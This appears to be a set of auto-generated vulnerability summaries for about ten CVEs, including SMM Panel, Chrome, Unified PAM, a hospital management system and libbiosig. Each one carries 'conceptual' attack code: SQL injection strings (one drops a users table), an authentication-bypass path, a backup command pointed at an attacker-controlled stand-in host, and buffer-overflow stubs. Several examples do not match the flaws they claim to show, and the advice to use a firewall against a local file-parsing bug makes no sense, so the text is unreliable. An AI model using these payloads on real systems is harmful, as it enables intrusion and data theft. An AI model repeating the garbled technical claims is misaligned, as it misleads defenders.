Author: Ameeba

Overview

CVE-2025-55575 is a severe SQL Injection vulnerability affecting SMM Panel 3.1. This vulnerability allows remote attackers to exploit the system and obtain sensitive information. The issue arises from a crafted HTTP request with action=service_detail. Given the ubiquitous use of SMM Panel in managing social media marketing, this vulnerability poses a critical risk to businesses worldwide. It is crucial to address it promptly to avoid potential system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55575
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, sensitive data leakage

Affected Products

Product | Affected Versions

SMM Panel | 3.1

How the Exploit Works

The vulnerability exploits the lack of input validation in the SMM Panel. Attackers can craft a specific HTTP request with an action=service_detail parameter. This request can contain SQL injection payloads, which are then processed by the SMM Panel. Once processed, the malicious SQL command can be executed against the underlying database management system, potentially allowing remote attackers to gain unauthorized access to sensitive data or even control over the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might attempt to exploit this vulnerability. This example demonstrates a crafted HTTP POST request:

POST /panel/service_detail HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=service_detail&service_id=1' OR '1'='1';-- -

In the above example, the attacker manipulates the ‘service_id’ parameter to include a SQL Injection payload (`1′ OR ‘1’=’1′;– -`). This payload will always evaluate to true, potentially revealing all the records from the database or performing other malicious activities, depending on the database permissions and structure.

Prevention and Mitigation

To mitigate the risk posed by this vulnerability, it’s recommended to apply the vendor patch as soon as it is available. In the absence of a patch, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent potential exploitation attempts. These systems can be configured to monitor and block suspicious traffic patterns resembling SQL Injection attacks. Additionally, implementing secure coding practices, such as input validation and parameterized queries, could prevent similar vulnerabilities in the future.

Overview

The vulnerability, identified as CVE-2025-4609, is a serious flaw that affects Google Chrome on Windows. It’s rooted in the incorrect handle provision under unspecified circumstances in Mojo, a key component of Google Chrome. This vulnerability can potentially be exploited by remote attackers to perform a sandbox escape through a malicious file, posing significant threats to the user’s system security and data integrity.
The severity of this vulnerability is high, as it grants the attacker a considerable degree of control over the compromised system. This can lead to a variety of negative outcomes such as unauthorized access to sensitive data, manipulation of system functionalities, or even a complete system takeover.

Vulnerability Summary

CVE ID: CVE-2025-4609
Severity: High (CVSS 9.6)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 136.0.7103.113

How the Exploit Works

The exploit works by exploiting the incorrect handle provision in Mojo in Google Chrome. A handle is a reference to an object and is used by programs to access system resources. If an attacker can manipulate this handle, they can cause the system to behave in unintended ways.
In this case, the incorrect handle can allow an attacker to escape the sandbox environment that Chrome uses to isolate potentially harmful code. This is achieved by the attacker sending a malicious file that exploits this vulnerability, allowing them to execute code outside of the sandbox and potentially gain control over the affected system.

Conceptual Example Code

A conceptually simplified example might look something like this:

POST /malicious/file HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "malicious_payload": "EXPLOIT-CODE-HERE" }

In this example, “EXPLOIT-CODE-HERE” would be replaced with the actual malicious code that exploits the vulnerability in the handle provision. This malicious file is then sent to the target system, where it can potentially escape the sandbox environment of the browser and execute malicious actions on the system.
Please note that this is a conceptual example and is oversimplified. The actual exploit would involve more complex techniques and malicious code to successfully exploit the vulnerability.

Overview

In the world of cybersecurity, ensuring the integrity and safety of system data is paramount. Any vulnerability that poses a threat to these principles is a cause for concern. CVE-2025-53118 is one such vulnerability that affects the Unified Pluggable Authentication Modules (PAM), a suite of shared libraries that enables the local system administrator to choose how applications authenticate users.
This vulnerability allows an unauthenticated attacker to bypass authentication procedures and control administrator backup functions. This could potentially lead to the compromise of passwords, secrets, and application session tokens stored by the Unified PAM. Given the severity of this vulnerability, it is vital for system administrators and cybersecurity practitioners to understand the details and take immediate mitigation actions.

Vulnerability Summary

CVE ID: CVE-2025-53118
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Unified PAM | All versions prior to 1.3.2

How the Exploit Works

The vulnerability lies in the backup functionality of the Unified PAM. An unauthenticated attacker can send specially crafted packets to the server hosting the Unified PAM. These packets mimic the commands that an administrator would send for backup operations. If the server processes these packets, the attacker gains control over the backup functions.
This control allows the attacker to view, modify, or delete any data that the backup function has access to. This includes sensitive data like passwords, secrets, and application session tokens. The attacker could use this data for further malicious actions, such as escalating their privileges on the system or launching attacks against other systems.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker might send:

POST /admin/backup/start HTTP/1.1
Host: vulnerable-server.example.com
Content-Type: application/json
{ "command": "start", "destination": "attacker-controlled-server.example.com" }

In this example, the attacker sends a command to start a backup operation and sends the backup data to a server controlled by them.

Overview

CVE-2025-56214 is a high-severity vulnerability that has been identified in the phpgurukul Hospital Management System 4.0. This vulnerability, an SQL Injection flaw, leaves the software susceptible to potential data breaches and system compromise. SQL Injection is a common web application attack that manipulates the SQL queries to gain unauthorized access to the database. Given that the Hospital Management System stores sensitive patient and hospital data, this vulnerability poses a significant risk to confidentiality, integrity, and availability of the information.

Vulnerability Summary

CVE ID: CVE-2025-56214
Severity: High (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

phpgurukul Hospital Management System | 4.0

How the Exploit Works

The vulnerability arises in the index.php file of the phpgurukul Hospital Management System, wherein the ‘username’ parameter is not properly sanitized before being used within an SQL query. An attacker can exploit this by injecting malicious SQL code into the ‘username’ field in the login form. This malicious SQL code can modify the query to bypass authentication, extract sensitive data, or even execute commands with database privileges.

Conceptual Example Code

An example HTTP request exploiting this vulnerability could look like this:

POST /index.php HTTP/1.1
Host: targetHospital.com
username=' OR '1'='1'; -- &password=anything

In this example, the SQL statement in the back-end might look something like this:

SELECT * FROM users WHERE username='' OR '1'='1'; -- ' AND password='anything'

As ‘1’ equals ‘1’ is always true, this SQL statement will return the first user in the users table. If that user is an administrator, the attacker will gain administrative access to the Hospital Management System.

Mitigation and Prevention

Users of the phpgurukul Hospital Management System 4.0 are advised to apply the vendor patch immediately to remediate this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions, as they only detect and prevent known exploits, and may not defend against new or modified attacks.
Additionally, developers should also follow best practices such as the use of parameterized queries or prepared statements to prevent SQL injection vulnerabilities from arising in the first place.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a severe security vulnerability in the Hospital Management System 4.0 by phpgurukul. This vulnerability, designated CVE-2025-56212, exposes the system to SQL Injection attacks via the ‘docname’ parameter in the ‘add-doctor.php’ file. As Hospital Management Systems store and manage sensitive patient information, this vulnerability could lead to the compromise of critical patient data and system integrity if left unpatched. It’s imperative for stakeholders to understand the severity and potential impact of this vulnerability and take immediate steps to mitigate its effects.

Vulnerability Summary

CVE ID: CVE-2025-56212
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

phpgurukul Hospital Management System | 4.0

How the Exploit Works

The exploitation of this vulnerability involves the manipulation of input data within the ‘docname’ parameter of the ‘add-doctor.php’ file. An attacker could craft malicious SQL commands and inject them into this parameter. As the system is not properly sanitizing user inputs, the SQL commands would be executed directly on the database, leading to unauthorized read/write operations. This could result in unauthorized access, data corruption, or even total system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. In this case, an HTTP POST request is sent with a malicious SQL command embedded in the ‘docname’ parameter:

POST /add-doctor.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
docname=' OR '1'='1; DROP TABLE users; --

In this example, the SQL command `’ OR ‘1’=’1; DROP TABLE users; –` would delete the entire ‘users’ table from the database, leading to significant data loss and system disruption.

Mitigation Actions

To mitigate this vulnerability, it is recommended that users immediately apply the vendor patch once it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and filter out suspicious traffic. Regularly updating and patching software, as well as implementing proper input sanitization techniques, can also help prevent similar vulnerabilities in the future.

Overview

In today’s digital age, the importance of robust cybersecurity practices cannot be overstated. The exposure of vulnerabilities can lead to serious consequences, such as data breaches and system compromises. One such vulnerability is CVE-2025-50900, a critical security flaw found in getrebuild/rebuild 4.0.4. This vulnerability can potentially allow unauthenticated attackers to gain access to sensitive information or escalate their privileges within a system-an alarming prospect for organizations that prioritize data security and integrity.
The vulnerability lies within the source code class com.rebuild.web.RebuildWebInterceptor and can affect any organization or individual that relies on a version of the software that hasn’t been patched or updated. The severity of the issue is underscored by its Common Vulnerability Scoring System (CVSS) severity score of 9.8, which places it in the critical range.

Vulnerability Summary

CVE ID: CVE-2025-50900
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

getrebuild/rebuild | 4.0.4

How the Exploit Works

The vulnerability operates through the preHandle function in the RebuildWebInterceptor class. Here, the filter code uses CodecUtils.urlDecode(request.getRequestURI()) to acquire the URL-decoded request path. The code then checks if the path ends with /error. If it does, the Interceptor is skipped. Otherwise, the code redirects to the /user/login API.
This opens a loophole for unauthenticated attackers. They can manipulate the request path to end with /error, thereby bypassing the Interceptor and gaining access to sensitive information or even escalating their privileges within the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /path/to/sensitive/data/error HTTP/1.1
Host: target.example.com

In this example, the attacker crafts a GET request to a sensitive data path and appends “/error” at the end. This bypasses the security Interceptor and allows the attacker to access the confidential information without needing to authenticate themselves first.

Mitigation Guidance

To mitigate this critical vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary defense measure. It’s crucial to remember, however, that these are interim solutions and cannot replace the security offered by the official vendor patch.

Overview

A critical vulnerability has been identified in The Biosig Project libbiosig 3.9.0 and Master Branch (35a819fa), an open-source library providing free access to biomedical signal data. The vulnerability, officially indexed as CVE-2025-54494, is a stack-based buffer overflow that potentially allows an attacker to execute arbitrary code. The severity of this vulnerability is high, as it can potentially lead to a full system compromise or data leakage if successfully exploited. It’s critical for all users and administrators of the affected software to understand this vulnerability, apply necessary patches, or implement recommended mitigations.

Vulnerability Summary

CVE ID: CVE-2025-54494
Severity: Critical – CVSS Score of 9.8
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Unauthorized execution of arbitrary code leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0 and Master Branch (35a819fa)

How the Exploit Works

The vulnerability resides in the MFER parsing functionality of the affected software. An attacker can exploit this vulnerability by crafting a malicious MFER file and convincing the victim to open it using the vulnerable software. This triggers a buffer overflow condition, ultimately leading to the execution of arbitrary and potentially malicious code.

Conceptual Example Code

While the exact exploit code has not been disclosed to prevent misuse, a conceptual example of the exploit could look like this:

# Define malicious payload
buffer = "A" * 5000 # Buffer overflow trigger
# Create malicious MFER file
with open('malicious.mfer', 'w') as file:
file.write(buffer)
# The malicious.mfer file is then provided to the victim
# who opens it with the vulnerable libbiosig software

This is a simplified representation and actual exploitation scenarios may vary and require more complex code. Nonetheless, it demonstrates the fundamental principle of the exploit – overflowing the buffer to execute arbitrary code.

Mitigation

The recommended mitigation for this vulnerability is to apply the patch provided by the vendor. In cases where immediate patching is not possible, temporary mitigation can be achieved by deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious activities. All users are advised to stay vigilant when receiving files from unknown sources, and to only open files that are from trusted and verified sources.

Overview

The BIOSIG project’s libbiosig version 3.9.0, a popular software library for biomedical signal processing, contains a critical vulnerability that potentially allows a successful attacker to execute arbitrary code on the affected system. This vulnerability, assigned the identifier CVE-2025-54493, exists in the MFER parsing functionality of the software. It’s of paramount importance due to its severity, the widespread usage of the library, and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-54493
Severity: Critical (9.8 CVSS Score)
Attack Vector: File
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0, Master Branch (35a819fa)

How the Exploit Works

The vulnerability stems from a stack-based buffer overflow in the MFER parsing functionality. Specifically, it manifests when a specially crafted MFER file is processed, triggering arbitrary code execution. When the Tag is 131 during processing, as seen on line 9184 of biosig.c on the current master branch, an improper length check can cause the buffer overflow.

Conceptual Example Code

Conceivably, an attacker could create a malicious MFER file with a specific tag of 131, but with a length not equal to 7. The example below outlines the potential structure of such a file:

Tag: 131
Length: 10
Data: [malicious code]

In this scenario, the crafted MFER file would exploit the buffer overflow vulnerability when processed, potentially leading to arbitrary code execution.

Impact of the Exploit

A successful exploit of this vulnerability could lead to the compromise of the system running the vulnerable software version. Depending on the permissions of the process, this could allow an attacker to view, modify or delete data, create new accounts with full user rights, and even introduce additional malicious software to further compromise the system.

Recommended Mitigations

Users of the affected software should apply the vendor patch as soon as it becomes available to mitigate this vulnerability. In the meantime, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, potentially alerting to or blocking attempts to exploit this vulnerability.
Regular software updates and patch management, alongside a robust cybersecurity framework, can greatly reduce the risk of such vulnerabilities being successfully exploited.

Overview

CVE-2025-54492 is a critical vulnerability that affects The Biosig Project libbiosig version 3.9.0 and the Master Branch (35a819fa). This vulnerability is a buffer overflow that potentially allows an attacker to execute arbitrary code, possibly leading to system compromise or data leakage. This security flaw matters because it could enable a malicious actor to disrupt the operations of affected systems or steal sensitive information, which could lead to significant business and reputation damage.

Vulnerability Summary

CVE ID: CVE-2025-54492
Severity: Critical (9.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0, Master Branch (35a819fa)

How the Exploit Works

The vulnerability exists in the MFER parsing functionality of The Biosig Project libbiosig. It occurs due to a stack-based buffer overflow on line 9141 of biosig.c when the Tag is 67. In this case, the address of the newly-defined integer `skew` is overflowed instead of `buf`. This means that a stack overflow can occur with much smaller values of `len` in this code path. An attacker can exploit this vulnerability by providing a specially crafted MFER file that would cause the buffer overflow, leading to arbitrary code execution.

Conceptual Example Code

This conceptual example demonstrates how a malicious MFER file might be used to exploit the vulnerability:

$ nc target.example.com 1234 < malicious.mfer

In this example, netcat (`nc`) is used to send a malicious MFER file to the vulnerable system over a network connection. The malicious file contains data crafted in such a way that it triggers the buffer overflow and allows arbitrary code execution.

Mitigation and Remediation

The best way to mitigate this vulnerability is by applying the vendor patch. In scenarios where immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation by detecting and blocking attempts to exploit this vulnerability.
Ensure to continuously monitor the security advisories from The Biosig Project and perform regular security updates. It’s also recommended to follow the principle of least privilege and segment networks to limit the potential impact of a breach.

Overview

The Biosig Project libbiosig, a widely used software library for biomedical signal processing, is currently at risk due to a critical buffer overflow vulnerability identified as CVE-2025-54491. This vulnerability could allow an attacker to execute arbitrary code on a system running a vulnerable version of the software, leading to potential system compromise or data leakage. The severity of this vulnerability and its broad potential impact underline the urgent need for timely mitigation steps to protect systems and data.

Vulnerability Summary

CVE ID: CVE-2025-54491
Severity: Critical (CVSS: 9.8)
Attack Vector: Local file system
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0, Master Branch (35a819fa)

How the Exploit Works

The vulnerability resides in the MFER parsing functionality of libbiosig. An attacker can exploit this vulnerability by crafting a malicious MFER file that triggers a stack-based buffer overflow. This buffer overflow occurs on line 9191 of biosig.c when the Tag is 65, leading to arbitrary code execution. The attacker would need to trick the user into opening the malicious file, which could be done through various social engineering tactics.

Conceptual Example Code

While it is not advisable to provide real exploit code, a conceptual example might look like this:

#include <stdio.h>
#include <stdlib.h>
int main() {
// MFER file with malicious payload
char buf[1000] = "malicious_payload";
// Open the vulnerable file
FILE *hdr = fopen("vulnerable.mfer", "wb");
// Write the payload to the file
fwrite(buf, sizeof(char), sizeof(buf), hdr);
fclose(hdr);
return 0;
}

In this example, a buffer `buf` is filled with a malicious payload and written to a MFER file `vulnerable.mfer`. When this file is opened with the vulnerable version of libbiosig, the payload is executed, potentially compromising the system or leading to data leakage.

Mitigation Guidance

Users are strongly advised to apply the vendor-supplied patch as soon as possible. If a patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help detect and block attempts to exploit this vulnerability. Additionally, users should be cautious of unsolicited files and consider scanning all files with an up-to-date antivirus solution before opening.